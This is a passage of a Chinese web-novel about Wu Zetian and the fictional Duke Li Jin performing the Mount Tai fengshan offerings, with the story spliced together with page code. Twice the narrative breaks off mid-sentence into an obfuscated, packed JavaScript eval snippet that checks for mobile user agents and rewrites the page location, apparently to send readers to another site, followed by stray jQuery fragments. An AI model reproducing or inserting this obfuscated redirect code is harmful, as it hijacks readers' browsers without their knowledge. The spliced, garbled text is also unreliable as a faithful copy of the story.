无数的念头、震惊、愤怒、不甘、乃至一丝早已深埋的、连自己都不愿承认的释然,在他胸中冲撞翻腾,让他本就虚弱不堪的身体如风中残烛般晃动。他眼前阵阵发黑,几乎要晕厥过去。
武则天的手反握过来,温暖而稳定,一股柔和却坚定的力量传来,仿佛在支撑着他,也像是在……掌控着他。她的声音依旧平静,却带着一种抚平惊涛骇浪的魔力:“陛下,此乃彰显陛下圣德,昭示天后辅佐之功,亦为酬臣妾多年随侍之劳。陛下龙体欠安,登临绝顶,行初献大礼,已足感昊天。亚献之事,交由臣妾,一则全陛下爱重之心,二则示天下以帝后一体,阴阳和合,江山永固。此乃礼部诸臣,体察上意,公议而定,亦合……天心**。”
“天心……**……”李治喃喃重复着,抓住武则天手腕的力道,一点点松懈下来。是啊,天心**。这浩浩荡荡的队伍,这万国来朝的盛景,这沿途山呼海啸的“万岁”与“天后千岁”,不都是“天心**”么?没有她,自己如何能支撑到这里?没有她,这封禅大典,这旷世功业,又如何能成?亚献……罢了,罢了……若能以此换来身后青史,“**”与“天后”并称,功盖千古,些许逾制……又算得了什么?史书上,只会记载帝后同登泰山,共祀天地,这是何等的佳话?总好过……好过自己孤零零一人,在这绝顶寒风中,完成那可能成为绝唱的祭礼……
一股巨大的疲惫和一种扭曲的满足感交织着涌上心头,冲散了他最后那点挣扎。他缓缓闭上眼睛,松开手,仿佛用尽了所有力气,颓然倒在枕上,声音低不可闻:“媚娘……你……辛苦了。明日……莫要……失仪。”
“臣妾,领旨。”武则天轻轻为他掖好被角,声音依旧平稳。她起身,对王德真吩咐道:“好生伺候陛下安歇,寅时三刻,准时为陛下更衣。”
“是。”王德真声音发颤,伏地领命。
武则天最后看了一眼榻上仿佛瞬间苍老了十岁、已然昏睡过去的皇帝,转身,步履沉稳地走出了寝殿。殿外,寒风扑面,她深深吸了一口冰冷而清冽的空气,凤目之中,平静无波,只有一种历经千难万险、终于攀至预定高度的、冰冷的笃定。亚献,只是第一步。她要的,远不止于此。
与此同时,泰山脚下另一处戒备森严的营区内,李瑾的大帐中,烛火同样未熄。他刚刚巡营归来,卸下沾着寒霜的甲胄。案头,摊开放着一份加急送来的、关于明日大典最后流程与人员安排的确认文书。他的目光,久久停留在“亚献:天后武则天”那几个朱笔勾勒的小字上。
尽管早有预料,甚至在一定程度上,这个结果有他当初在长生殿那番“共享”之论的推波助澜,但当真看到这板上钉钉的安排时,他心中仍旧泛起难以言喻的波澜。打破千年礼制,皇后在封禅大典上担任亚献……这已不是简单的“权宜之计”或“荣宠”,这是对整个帝国**伦理和意识形态的一次公开挑战与重塑。明日之后,“二圣”并尊将不再仅仅是朝堂上的默契或诏书上的虚文,它将通过这场最神圣的祭祀仪式,被赋予“天”的认可,铭刻在泰山的石碑上,流传于青史的字里行间。
他知道,此刻泰山脚下,那些恪守礼法的老臣营帐中,必定有人辗转反侧,长吁短叹,甚至暗中垂泪。他也知道,许敬宗、李义府等皇后心腹,此刻定是志得意满,兴奋难眠。而那些随行的万国使节,明日目睹此景,心中又该作何想?是惊叹于大唐的“开明”与“独特”,还是暗自鄙薄“牝鸡司晨”,抑或是重新评估这个庞大帝国的权力结构与未来走向?
“父亲。”帐帘掀开,一身戎装、面带疲惫却目光炯炯的李业诩走了进来。他如今是左卫中郎将,此次随行,负责部分行营警卫,历练甚多。“各要隘哨卡均已再次查验,明日大典,山顶、山腰、山脚,三重警戒,万无一失。只是……”他迟疑了一下,低声道,“儿方才路过几位老大人营区,听闻……似有争执,关于明日……亚献之事。”
李瑾收回目光,看向儿子年轻而坚毅的脸庞,淡淡道:“礼部拟定,陛下首肯,天后担纲,有何可议?业诩,记住,明日你的职责,是确保大典平安,不起任何波澜。无论听到什么,看到什么,只要与护卫职责无关,便只当未闻未见。泰山之巅,只有祭祀天地的诚敬,不容任何杂音。”
李业诩心中一凛,肃然躬身:“是,父亲。儿明白了。”
“去歇息吧。明日寅时,随我上山。”
“是。”
李业诩退下后,李瑾独自在帐中踱步。寒风从帐帘缝隙钻入,吹得烛火摇曳不定。他走到帐边,望向远处黑暗中泰山那巍峨雄浑的轮廓,如同一个顶天立地的巨人,沉默地俯瞰着脚下蝼蚁般忙碌的众生。明日,那巨人的肩头,将上演怎样一出石破天惊的戏剧?而他,又将在这出戏剧中,扮演怎样的角色?
他轻轻按了按腰间的横刀。冰冷的触感让他纷杂的思绪沉淀下来。无论戏剧如何上演,他手中的力量,才是这出戏能唱下去,并且按照预定方向收场的最终保障。
腊月甲子,寅时三刻。天色未明,泰山上下,却已沸腾。
数以万计的火把、灯笼将山道照得亮如白昼。帝后卤簿、百官仪仗、诸军护卫、乐工舞伎、执事官役……无数人如同精密的齿轮,开始按照预定的程序运转。庄严肃穆的雅乐再次响起,这一次,混合着泰山的松涛与风声,更显恢宏悲怆。
李治被精心装扮,穿上最隆重的十二章纹大裘冕,头戴前后垂十二旒的冕冠,脸上敷了更厚的脂粉,遮掩那可怕的病容。他被搀扶上特制的、由十六名健壮内侍抬着的步舆(因山道陡峭,玉辂无法上山)。步舆装饰着金银玉器,华美无比,却更像一个移动的病榻。他紧紧抓着舆车的扶手,指节发白,身体在厚重的礼服下微微发抖,不知是寒冷,是虚弱,还是激动。
武则天则身着祎衣,头戴九龙四凤冠,仪态万方。她没有乘坐步舆,而是在女官和内侍的簇拥下,徒步登山。山风凛冽,吹动她华美的衣袂和冠上垂珠,她却步履沉稳,气息均匀,凤目沉静,直视着前方那被火光照亮的、仿佛通向天际的漫长石阶。她的身影,在摇曳的火光与黎明的微熹中,竟有一种宛若神祇临凡般的威严与神圣。
太子李弘、梁国公李瑾、诸王、宰相、文武重臣、各国使节首领,皆着礼服,紧随其后。长长的队伍,如同一条闪烁着珠光宝气的巨龙,沿着盘山御道,缓缓向那被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048356|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云雾笼罩的、象征着至高无上的泰山极顶——玉皇顶攀爬。
越往上,山风越劲,气温越低,石阶越陡。许多年老体弱的大臣早已气喘吁吁,被仆役搀扶着,行走艰难。各国使节更是狼狈不堪,他们何曾攀爬过如此高山,一个个面色发白,腿脚酸软,却不敢有丝毫怨言,只能咬牙坚持。唯有帝后的步舆和武则天的身影,始终稳定地向上,向上。
李瑾行走在队伍前列,他体质强健,步履从容。他能听到身后粗重的喘息,能感受到无数道目光聚焦在前方那两个身影上——那个在步舆中摇摇欲坠的皇帝,和那个徒步登山、却仿佛比山岳还要沉稳的皇后。他能预感到,当登顶之后,那石破天惊的一幕,将给这些人带来何等的心灵冲击。
当第一缕晨光刺破东方的云海,将金红色的光辉洒向连绵群山时,这支漫长而庄严的队伍,终于登上了玉皇顶。
山顶早已被平整出一片巨大的平台,中央,是高达九丈的圆形祭坛——登封坛。坛分三层,以五色土筑就,象征五行、五方、五色。坛周遍插旌旗,设燎坛、瘗坎,陈列着太牢(牛、羊、猪三牲全备)、玉帛、粢盛等各式祭品。礼器、乐器在晨光下闪烁着冰冷而神圣的光泽。坛下,文武百官、诸藩使节,依照品级、方位,黑压压跪满山顶空地,鸦雀无声,只有猎猎旌旗和呼啸山风之声。
李治被搀扶下步舆,在礼官的唱导和内侍的搀扶下,步履蹒跚,却异常坚定地,一步步,踏上登封坛的台阶。每一步,都仿佛耗尽他全部的生命力。终于,他登上了最高层,面向东方,那轮喷薄欲出的朝阳。礼乐大作,钟磬齐鸣。
初献礼,开始。
李治展开早已烂熟于胸的玉版祭文,用尽全身力气,以颤抖却清晰的声音,向昊天上帝诵读。他歌颂祖宗的功德,陈述自己的“政绩”,祈求上天保佑大唐国祚永昌,风调雨顺,四夷宾服。他的声音在山巅回荡,被风吹散,又仿佛汇聚成某种无形的力量,直冲云霄。坛下,万人俯首,包括那些碧眼虬髯的胡人使者,皆被这庄严肃穆的气氛所感染,屏息凝神。
当初献礼毕,祭文被投入燎坛焚烧,青烟袅袅升起,融入晨光与云海之时,所有人都以为,按照惯例,该由太子李弘,或者某位德高望重的亲王,登坛行亚献礼了。
然而,礼部尚书许敬宗,手持玉笏,出列,用他那特有的、清晰而富有穿透力的声音,高声唱道:
“亚献礼——启!”
唱毕,他并未退回班列,而是躬身,侧身,让开通往祭坛的道路。
所有人的目光,不由自主地,齐刷刷地,投向了御座之侧,那顶九龙四凤冠下,平静肃立的身影。
在那一瞬间,时间仿佛凝固了。呼啸的山风似乎停滞,喷薄的朝阳仿佛定格。无数道目光——惊愕、茫然、了然、愤怒、狂喜、敬畏、鄙夷、好奇——交织成一张无形的大网,笼罩在玉皇顶上。
然后,在死一般的寂静和几乎令人窒息的注视中,武则天动了。
她轻轻抬手,拂了拂本不存在的衣袂褶皱。然后,迈步。一步,两步……她的步伐并不快,却异常沉稳,踏在铺着五色土的坛阶上,发出轻微的、却仿佛敲击在每个人心头的声响。那身华美庄重的皇后祎衣,在泰山之巅的猎猎风中,纹丝不乱。九龙四凤冠的垂珠在她额前轻轻摇曳,折射着晨光,却无法遮掩她那双沉静如深潭、又锐利如寒星的眼眸。
她走过跪伏的百官,走过神色复杂的太子李弘,走过垂手肃立、目光低垂的梁国公李瑾,走过那些瞠目结舌、几乎忘了呼吸的万国使节。她的目光,只注视着前方,那最高处的祭坛,以及祭坛上,那个在寒风中微微摇晃、几乎要靠内侍搀扶才能站稳的、她名义上的丈夫,实际上的……君王与傀儡。
终于,她踏上了登封坛的最高层,与李治并肩而立。不,她的站位,微微靠后半个身位,却足以让坛下所有人看清她的身影,看清她与皇帝一同,立于这祭天的最神圣之地。
礼乐再次响起,曲调似乎与初献时略有不同,更添几分庄严与……微妙。礼官显然早已排练纯熟,尽管声音因激动而微微发颤,却依旧清晰洪亮地唱诵着亚献的仪程。
武则天接过礼官奉上的第二份玉帛,面向燎坛,微微躬身。她没有像李治那样诵读长篇祭文,只是用清晰而平稳的声音,缓缓说道:
“维大唐麟德二年,岁次甲子,腊月甲子,嗣皇后武氏,敢昭告于皇皇后土:承天之序,辅佐圣皇,虔奉祭祀,敬修亚献。伏惟天神地祇,歆兹芬祀,永佑皇唐,祚胤无疆。”
她的声音不高,却清晰地传遍寂静的山顶,传入每一个人的耳中。没有华丽的辞藻,没有冗长的自夸,只有简洁的告祭与祈求。然而,这简短的言辞,配上她此刻立于泰山之巅祭坛的身影,却拥有着雷霆万钧的力量。
坛下,一片死寂。随后,是许敬宗、李义府等人带领的、山呼海啸般的、早有准备的附和与赞颂之声:“天后圣德!与天同功!”
这声音惊醒了尚在震惊与茫然中的大多数朝臣。他们面面相觑,有人下意识地跟着叩首,有人嘴唇翕动,却发不出声音,有人将头深深埋下,肩膀微微颤抖,不知是恐惧,是激动,还是悲愤。
李瑾抬起头,目光掠过坛上帝后并肩的身影,掠过那袅袅升入云霭的青烟,掠过下方黑压压的、神色各异的人群,最后投向远方那苍茫无垠的云海与群山。
亚献已行,旧例已破。
历史的车轮,在这一刻,被一股强大而无形的力量,狠狠推动,碾过千年的礼制藩篱,驶向了一个未知的、却也注定波澜壮阔的方向。
山风呼啸,卷起祭坛边的旌旗,猎猎作响,仿佛天地也在为这石破天惊的一幕,发出悠长而深邃的叹息。
第205章 瑾为终献官
泰山之巅,玉皇顶。
寒风似乎都在那一刻凝滞了,时间仿佛被拉长、冻结。武则天那平稳而清晰的声音,如同冰玉相击,在死寂的山顶回荡,每一个字都像是凿子,狠狠凿在千年的礼制基石上,留下不可磨灭的印痕。
“伏惟天神地祇,歆兹芬祀,永佑皇唐,祚胤无疆。”
最后一个字落下,余音仿佛还缠绕在祭坛的缭绕青烟与猎猎旌旗之间。武则天手持玉帛,对着燎坛方向,庄重地三鞠躬,然后将玉帛交给身旁的礼官。礼官颤抖着双手接过,小心翼翼地将这份注定要载入史册的祭物,投入熊熊燃烧的燎坛之中。火焰猛地蹿高,吞噬了玉帛,也吞噬了那个时代关于“牝鸡司晨”的最后一块遮羞布。
坛下,百官与万国使节,仍陷在巨大的震撼与失语之中。许多人,尤其是那些皓首穷经、以维护礼法为己任的老臣,如韩瑗、来济的旧部,或一些出身关陇、山东高门的朝臣,只觉得一股热血直冲头顶,眼前阵阵发黑。他们死死低着头,不敢去看坛上那道身着祎衣的、挑战了亘古以来男女、君臣、内外之别的身影,更不敢去看周围同僚的反应。有人紧闭双眼,嘴唇无声地翕动,似在背诵圣贤之言以定心神;有人死死攥着笏板,指节捏得发白,身体微微颤抖;还有人眼中已隐隐泛起**与愤怒的泪光,却只能强自忍耐,将头颅埋得更低。山巅凛冽的寒风,此刻吹在身上,却抵不过他们心中那刺骨的冰寒。
而那些早已倒向武则天,或在此次封禅中利益攸关的官员,如许敬宗、李义府及其党羽,则是个个激动得面色潮红,若非在这庄严肃穆的祭坛之下,几乎要当场欢呼雀跃。他们努力维持着表面的恭谨,但微微颤抖的肩膀和闪烁的眼神,无不暴露了他们内心的狂喜。天后行亚献!这不仅是天后的胜利,更是他们这些“拥武派”的胜利!这意味着,他们押注的未来,那“二圣”并尊甚至更进一步的**格局,已不再是朝堂密议,不再是后宫暗涌,而是被这泰山之巅的圣火,被这祭告天地的仪式,所正式昭告、确认、乃至神圣化了!这是何等巨大的回报!许敬宗垂着头,眼角余光却扫过那些如丧考妣的老臣,心中冷笑:朽木顽石,安知天命所归,时移世易?
万国使节们更是看得目瞪口呆,心中掀起惊涛骇浪。吐蕃赞婆眯起眼睛,精悍的脸上肌肉微微抽动。在他的认知里,女人纵然可以在帐中掌权,也绝无可能站在祭天的最高处,与赞普(君主)并肩!唐人……竟敢如此!这是对天神、对祖宗的亵渎,还是……一种他们所不能理解的、更强大的秩序?他下意识地看向那位立在百官前列、身着紫袍玉带的梁国公李瑾,却见对方身姿挺拔如松,侧脸沉静如水,竟看不出丝毫情绪波动。赞婆心中更是一凛:这位军神,对此竟也默许?看来,唐国内部,这位皇后与这位国公之间,关系之紧密,远超外界想象。此番见闻,必须尽快传信给兄长。
突厥别部首领阿史那斛瑟罗,则是另一番心思。他见多了草原上部族中母亲、妻子、姐妹在权力更迭中扮演的角色,对女子掌权并不像中原儒生那般抵触。他震惊的,是唐人竟能将此事做得如此堂而皇之,如此“名正言顺”!祭天啊!那是与长生天沟通的神圣仪式!这位唐家皇后,竟能以妻子、臣子的身份,行此大礼,与皇帝分庭抗礼!这背后需要何等的权势、手腕与人心所向?他看着坛上并肩而立的帝后,一个虚弱如风中残烛,一个沉静如渊渟岳峙,强烈的对比让他心中那个模糊的念头愈发清晰:这个庞大帝国的未来,恐怕真的系于这位皇后(或许还有那位国公)之手。自己部族的生存之道,必须做出调整了。
新罗使节金仁问则想得更多。他熟读汉家经典,深知此举的惊世骇俗。震惊之余,他心中却又涌起一种复杂的敬佩与警惕。敬佩的是这位皇后的气魄与能力,警惕的是,一个内部权力结构如此独特、甚至“悖礼”的庞然大物,对周边邻国,尤其是对新罗这样仰慕中华却又需保持独立的国家,是福是祸?他偷偷看向太子李弘,见年轻的储君面色苍白,紧抿着嘴唇,目光低垂,不知在想些什么,心中不由一叹。
就在这心思各异、暗流汹涌的死寂即将被打破之际,礼部尚书许敬宗再次出列。他深吸一口气,似乎要将方才武则天带来的震撼和自己内心的狂喜都压下去,用比之前更加高亢、更加庄重,甚至带着一丝不易察觉的颤抖的声音,唱道:
“终献礼——启!”
“终献”二字,如同投入滚油的水滴,让刚刚因“亚献”而陷入诡异寂静的场面,再次泛起涟漪。亚献已是石破天惊,那这紧随其后的终献,又将由谁担任?是太子殿下,以固国本?还是某位德高望重的李唐宗室亲王,以显亲亲之道?亦或是……宰相之首,以示文武并重?
所有人的目光,不由自主地从祭坛上那道祎衣身影移开,在坛下前排的重臣宗亲中逡巡。太子的脸色似乎更白了些,手指无意识地蜷缩。几位年长的亲王,如越王李贞、纪王李慎等,腰背似乎挺直了些,但眼神中也透着不确定。宰相们则屏息凝神,猜测着这最后的、也是仅次于初献、亚献的殊荣,会花落谁家。
然而,许敬宗并未如众人预想般,将目光投向太子或某位亲王。他转过身,面向文武百官与藩国使节队列的最前方,那个自始至终都如磐石般沉稳肃立的身影,然后,深深一躬,声音穿透寒风,清晰地传入每一个人耳中:
“恭请开府仪同三司、尚书右仆射、同中书门下三品、梁国公、行营都总管、上柱国、太子少师——李瑾,登坛行终献礼,以彰卫社稷、开疆土、定乾坤之不世功勋,以成三献之礼,告慰天地神明,福佑大唐,江山永固!”
一连串煊赫到极致的头衔,如同重锤,敲击在每个人心头。梁国公李瑾!竟然是他!
短暂的惊愕之后,是更深沉的、几乎要化为实质的沉默。这一次,连那些狂喜的“拥武派”官员,脸上的激动都凝固了一瞬。让一位外姓臣子,在皇帝初献、皇后亚献之后,担任终献?这……这固然再次彰显了皇后一系的权威,将这位军神牢牢绑在了同一辆战车上,但……这岂非将李瑾的地位,隐隐抬到了几乎与储君、甚至与“亚献”的皇后平行的位置?虽然终献是第三位,但其象征意义,尤其是在刚刚经历了皇后亚献的震撼之后,其意味更加深长。
一些老臣心中刚刚因皇后亚献而升起的愤怒与悲哀,此刻被一种更深的无力与冰寒所取代。皇帝病弱,皇后临朝,权臣掌兵,如今在这祭告天地、最为神圣的封禅大典上,竟以如此方式“昭告天下”!这大唐的天下,究竟姓李,还是……
吐蕃赞婆的瞳孔骤然收缩。李瑾!这位让吐蕃勇士闻风丧胆、让大相兄长都忌惮不已的唐**神,其地位竟已崇隆至此!在如此神圣的祭祀中,紧随帝后之后献祭!这意味着什么?意味着在唐国朝廷,甚至在那对至尊夫妇心中,这位梁国公的地位,已近乎于“副君”?或者,是一种更牢固的、超越君臣的联盟?赞婆感到后背泛起一层细密的冷汗,他意识到,自己之前对唐国内部权力结构的判断,可能还是太过简单了。
阿史那斛瑟罗则是倒吸一口凉气,看向李瑾的目光中,敬畏之色更浓。军功,无与伦比的军功!看来在唐国,只要有足够煊赫的军功,便能打破一切常规,赢得如此地位!他心中对武力的渴望,对强大唐军的恐惧与向往,交织在一起。
新罗金仁问则是微微颔首,似乎对这个结果并不算太过意外。梁国公李瑾的功绩,确实当得起这份荣耀。只是,帝、后、将,三者以如此方式并肩立于祭坛,这画面本身就充满了强烈的、令人不安的象征意味。
祭坛之上,刚刚行完亚献礼、退后半步侍立的武则天,神色平静无波,仿佛许敬宗念出的那个名字,与念出太子或任何一个亲王的名字并无区别。只有那双沉静凤目的深处,掠过一丝几不可察的、复杂的微光。她微微侧首,目光投向坛下那道即将登坛的身影。
李治依旧被内侍搀扶着,站在祭坛中央,方才诵读祭文似乎耗尽了他最后的气力,他微微佝偻着,脸色在厚重的脂粉下依旧透着死灰,喘息粗重。许敬宗的唱名声传来,他浑浊的眼珠似乎转动了一下,看向坛下的李瑾,又缓缓移开,望向远处翻腾的云海,脸上没有任何表情,仿佛一尊正在迅速失去生气的蜡像。
在无数道目光的聚焦下,李瑾动了。
他并未像皇后那样,在万众瞩目中一步步走过漫长的距离。他本就站在百官之前,距离祭坛不过十数步。此刻,他缓缓抬手,正了正头上的进贤冠,拂了拂紫色朝服上并不存在的灰尘。然后,迈步。
他的步伐,与武则天的沉稳从容不同,也不同于李治的虚浮踉跄。他的步伐,是标准的、久经沙场的武将步伐,沉稳、坚定、每一步都仿佛丈量过,踏在泰山之巅坚硬的岩石上,发出清晰而富有节奏的声响,带着一种千军万马中淬炼出的、不容置疑的力量感。清晨的阳光终于完全跃出云海,金色的光芒泼洒下来,照在他深紫色的朝服上,照在他腰间御赐的金玉带銙上,也照在他那张线条刚毅、神色沉静的脸上。山风吹动他的袍袖,猎猎作响,却无法撼动他如山岳般的身影。
他没有看任何人,目光只平视着前方,那最高处的祭坛,那缭绕的青烟,那并肩而立的帝后。他的眼神,深邃、平静,如同无波的古井,倒映着泰山的巍峨与苍穹的浩渺,却让人看不出丝毫情绪的涟漪。没有激动,没有惶恐,没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048357|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得意,只有一种理所当然的、近乎漠然的平静。
十数步的距离,转瞬即至。他踏上祭坛台阶,一级,两级……他的身影,逐渐升高,最终,稳稳地停在了祭坛的最高层,站在了皇帝李治的另一侧,与武则天,一左一右,如同帝王的双翼。
此刻,泰山绝顶,登封坛上,三人并肩。
居中,是虚弱不堪、靠内侍搀扶才能站稳、象征“天命”与“法统”的皇帝李治。
左侧,是身着祎衣、凤冠巍峨、打破千年礼制、象征“治权”与“革新”的皇后武则天。
右侧,是紫袍玉带、神色沉静、以不世军功登坛、象征“武功”与“柱石”的梁国公李瑾。
这画面,以一种极其强烈、极具冲击力的方式,印刻在坛下百官、万国使节,乃至所有有幸目睹或即将听闻此事的史官、文人、百姓心中。它超越了言语,成为这个时代最浓缩、也最震撼的象征。
礼乐第三次响起,曲调在庄严肃穆之中,似乎又添了几分雄浑与铿锵,仿佛在应和这位以军功登坛的终献官的身份。
礼官奉上第三份玉帛祭文。李瑾双手接过,触手冰凉。他展开玉帛,上面是早已拟好的、文采斐然、极尽颂扬的骈文,歌颂皇帝天后的功德,也褒扬他的赫赫战功,祈求天地神祇保佑大唐国运昌隆,四境安宁。
他略略扫过,然后抬起头,望向坛下那黑压压的、一直蔓延到视线尽头、跪伏在地的众生,望向更远处苍茫的齐鲁大地,浩瀚的云海,以及云海之上那轮初升的、光华万丈的旭日。他没有完全照本宣科,也没有像武则天那样简短致辞。他深吸一口气,那口带着泰山之巅凛冽寒意与松柏清香的空气,然后,用他那并不高亢、却异常清晰、沉稳、仿佛金铁交鸣、能穿透狂风与乐声的声音,缓缓诵读:
“维大唐麟德二年,岁次甲子,腊月甲子,臣李瑾,敢昭告于皇天后土:臣本布衣,荷国厚恩,位列台司,职在枢衡。赖陛下神武,天后明断,将士用命,百姓归心。西陲拓土,北漠烟尘,东抚诸夷,南定獠蛮,幸不辱命,微功得立。此非臣瑾之能,实乃陛下、天后圣德所感,天命所归,三军效死,兆民协力之功也。”
他的声音不高,却字字清晰,在空旷的山巅回荡,带着一种奇异的穿透力,仿佛能直达人心。他没有过分突出自己,而是将功劳归于皇帝、天后、将士、百姓,姿态谦逊,却更显其胸怀与分量。
“今登岱宗,封祀天地,告厥成功。臣瑾,谬以**钝,忝居终献,战兢惕厉,如履薄冰。唯愿皇天后土,眷此下民,佑我圣朝,兵戈永息,风雨以时,五谷丰登,四海升平。臣瑾谨率文武,顿首再拜,伏惟尚飨!”
言罢,他双手捧起玉帛,对着燎坛,深深三揖。动作标准,一丝不苟,带着武将特有的利落与力量感。然后,将玉帛交给礼官。
第三份祭文,投入燎坛。火焰再次升腾,三缕青烟,袅袅升起,最终在泰山之巅的狂风中,交织、盘旋,汇入那无尽苍穹。
三献礼成。
“礼成——!”许敬宗的声音带着难以抑制的激动,甚至有些破音,响彻山巅。
“万岁!万岁!万万岁!”
“天后千岁!”
“梁国公威武!”
坛下,山呼海啸般的颂扬声终于如同决堤的洪水,轰然爆发。这一次,不再是许敬宗等人的独角戏,几乎所有官员,无论心中作何想法,都在这一刻,跟着嘶声力竭地呼喊起来。声音汇聚成巨大的声浪,冲击着泰山的岩壁,冲上云霄,仿佛连那凛冽的寒风都被暂时压了下去。
万国使节们也纷纷叩首,用各自的语言,表达着敬畏与臣服。这一刻,他们看到的,不仅仅是一次祭祀,更是一个崭新而强大的权力结构,以一种不容置疑、神圣无比的方式,向他们,向天下,宣告了它的确立。
李瑾立在坛上,与帝后并肩,承受着这山呼海啸。他微微垂目,目光落在燎坛中跳跃的火焰上,那火焰倒映在他深邃的眸中,明明灭灭。
终献官。位极人臣,荣宠无双。与帝后同登绝顶,共祭苍天。古往今来,武将功勋之极,莫过于此。
然而,在这极致的荣耀与权力之巅,在这震耳欲聋的颂扬声中,他却仿佛听到了别的声音——那是泰山亘古的松涛,是脚下岩石深处隐隐的脉动,是远处云海翻滚时沉闷的呜咽,是历史车轮碾过时,那沉重而无可阻挡的辙印之声。
他缓缓抬起头,望向东方。朝阳已完全跃出云海,金光万丈,普照山川大地,也照亮了他沉静而棱角分明的侧脸。
封禅大典,尚未结束。但一个新的时代,一个由“**”、“天后”,与“梁国公”三者身影共同定义的巅峰时代,已然随着这三缕青烟,升腾于这岱宗之巅,昭示于煌煌青史。
第206章 刻碑记功业
泰山之巅,玉皇顶。
三缕青烟交织升腾,最终汇入浩渺苍穹,仿佛将人间帝王的功业、皇后的权柄、国公的勋劳,一并上达天听。山呼“万岁”、“千岁”、“威武”的声浪,在许敬宗“礼成——”的高亢尾音中,渐渐平息,化作一种更深沉、更持久的肃穆。寒风依旧凛冽,刮过祭坛,拂动帝后的冕旒与衣袂,吹动李瑾紫袍的下摆,也卷动着坛下万千人心头的波澜。
李治完成了“初献”,似乎耗尽了最后一丝支撑的精神,整个人几乎完全依靠在身边两名健壮内侍的搀扶下,才勉强维持着站姿。他微微佝偂着,厚重的冕服下,单薄的身躯在寒风中难以抑制地轻颤,脸上厚重的脂粉也掩盖不住那死灰般的疲惫与衰弱。他浑浊的目光,有些涣散地望着远方翻腾的云海,仿佛灵魂已随着那三缕青烟,飘向了不可知的远方,只留下一具空洞的躯壳,在这象征着人间权力与荣耀的绝顶之上,承受着刺骨寒风与万众目光。
武则天完成了“亚献”,此刻已退后半步,与李瑾一左一右,侍立在皇帝身后稍侧的位置。她的姿态依旧端庄雍容,九龙四凤冠在初升的朝阳下熠熠生辉,绝美的面容沉静如水,仿佛方才那石破天惊的举动,只是履行了一件再平常不过的职责。只有那双深不见底的凤目,偶尔扫过坛下黑压压的人群,掠过那些神色各异的面孔时,才会闪过一丝几不可察的、掌控一切的锐利光芒。她知道,亚献礼成,只是打破了千年的礼制外壳,要将这“破例”固化为新的“成例”,乃至将她的权柄与天命更深地捆绑,还需要更坚实、更直观、更能流传后世的“物证”。
李瑾完成了“终献”,此刻肃立于坛上,神色依旧是那种令人捉摸不透的平静。紫袍玉带,衬得他身形挺拔如山岳。方才那番不卑不亢、将功劳归于上下的终献祭词,犹在众人耳畔回响。他立于此地,本身就是一座无言的丰碑,铭刻着开疆拓土、拱卫社稷的赫赫武功。此刻,他微微垂目,似乎仍在回味祭礼的庄重,又似乎只是借此避开下方那无数道探究、敬畏、猜忌、复杂的目光。
短暂的寂静后,礼部尚书许敬宗再次出列,他深吸一口气,努力平复着内心因主持这场必将载入史册的旷世祭礼而激荡不已的情绪,用尽量平稳而洪亮的声音,按照既定仪程唱道:“登封礼成!陛下、天后、梁国公,功盖寰宇,德被苍生,当刻石纪功,昭示天下,垂范后世!”
“刻石纪功”四字一出,坛下许多心思灵透的官员,心头又是微微一震。封禅刻石,古已有之。秦始皇登泰山,有李斯篆书刻石;汉武帝封禅,亦曾立石颂德。但此次刻石,在刚刚经历了皇后亚献、国公终献的震撼之后,其内容、其规格、其意义,必然与以往任何一次都迥然不同。这石碑,不仅要记载皇帝的功业,恐怕更要记载方才祭坛上那惊世骇俗的一幕,将那“二圣并尊、文武拱卫”的格局,以金石为证,永镌泰山!
许敬宗继续唱道:“请陛下、天后、梁国公,移步观德峰,览定碑文,以彰不朽!”
观德峰,位于玉皇顶东南侧一略低的平台上,视野开阔,可俯瞰群山,亦是历来帝王封禅后观景、并常选址立碑之处。当下,便有礼官、内侍上前,小心搀扶几乎虚脱的皇帝李治,准备移驾。武则天与李瑾,亦在众人簇拥下,转身,沿着开辟好的平整路径,向观德峰行去。坛下百官、使节,亦在引导下,有序跟随。
移步途中,许多人的目光,都不由自主地被早已安置在观德峰一侧空地上的几方巨石所吸引。那巨石并非泰山本地常见的青黑色岩石,而是产自淮南的优质白玉石,石质温润细腻,洁白无瑕,在冬日清冷的阳光下,流转着柔和的光泽。巨石显然经过精心挑选和初步打磨,每一块都高逾丈五,宽达八尺,厚亦有数尺,重逾万斤。难以想象,在如此陡峭的泰山之巅,是如何将这些庞然大物运送上来的,这本身就彰显了帝国无与伦比的人力与物力。巨石旁,摆放着数十套大小不一的凿刻工具,以及数十名垂手肃立、身着短褐、却气质沉凝的工匠。他们并非普通石匠,而是从将作监、少府监精选出的、天下顶尖的镌刻高手与书法名家。
来到观德峰平台,视野豁然开朗。但见云海在脚下翻腾,远处群山如黛,蜿蜒如龙。凛冽山风在此处更为狂放,吹得人衣袍猎猎,几乎站立不稳。内侍早已在背风处设下御座、锦墩。李治被搀扶着坐下,裹紧了厚重的貂裘,依旧不住地微微发抖,精神萎靡,对周围一切似乎都失去了兴趣,只怔怔望着远方云海出神。
武则天与李瑾则分坐两侧稍下的锦墩。武则天看向那几方巨大的白玉石,凤目之中,闪过一丝满意的神色。她微微侧首,对侍立一旁的许敬宗道:“许卿,碑文可曾最终定稿?碑式如何?”
